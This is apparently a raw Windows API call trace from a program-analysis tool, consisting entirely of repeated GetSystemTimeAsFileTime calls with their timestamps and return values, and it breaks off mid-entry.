GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873aad0, dwHighDateTime=0x1d595b2)) [0141.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873aad0, dwHighDateTime=0x1d595b2)) [0141.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873aad0, dwHighDateTime=0x1d595b2)) [0141.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873d1e0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873f8f0, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8742000, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8744710, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8746e20, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: 